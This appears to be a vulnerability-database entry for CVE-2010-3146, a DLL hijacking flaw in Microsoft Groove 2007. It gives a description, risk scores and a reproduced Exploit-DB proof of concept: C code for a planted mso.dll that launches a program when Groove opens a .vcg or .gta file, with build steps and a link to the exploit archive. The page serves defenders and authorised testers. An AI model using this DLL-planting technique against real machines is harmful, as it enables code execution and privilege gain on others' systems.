CVE-2010-3146

critical
Published 2010-08-27 ยท Modified 2026-04-29
CVSS v3
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CVSS v4 NEW
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not yet in upstream
VIR risk
10.0

Description

Multiple untrusted search path vulnerabilities in Microsoft Groove 2007 SP2 allow local users to gain privileges via a Trojan horse (1) mso.dll or (2) GroovePerfmon.dll file in the current working directory, as demonstrated by a directory that contains a Groove vCard (.vcg) or Groove Tool Archive (.gta) file, aka "Microsoft Groove Insecure Library Loading Vulnerability."

Predictions

Exploit likelihood
20%
Patch ETA
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Heuristic predictions, AS-IS, for prioritization only.

Mitigations

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-14746 local windows text ยท 1 KB
Beenu Arora ยท 2010-08-25

Microsoft Office Groove 2007 - 'mso.dll' DLL Hijacking

text exploit Source: Exploit-DB
/* 
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Exploit Title: Microsoft Office Groove 2007 DLL Hijacking 
Date: 25/08/2010
Author: Beenu Arora
Tested on: Windows XP SP3 , Microsoft Office Groove 2007
Vulnerable extensions: wab , p7c

Compile and rename to mso.dll.dll, create a file in the same dir with one of the following extensions:
.vcg , .gta
*/

#include <windows.h>
#define DLLIMPORT __declspec (dllexport)

DLLIMPORT void hook_startup() { evil(); }

int evil()
{
  WinExec("calc", 0);
  exit(0);
  return 0;
}

// POC: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/14746.zip

Application impact

VendorProductVersionsFixed
windows microsoftgroove2007

References

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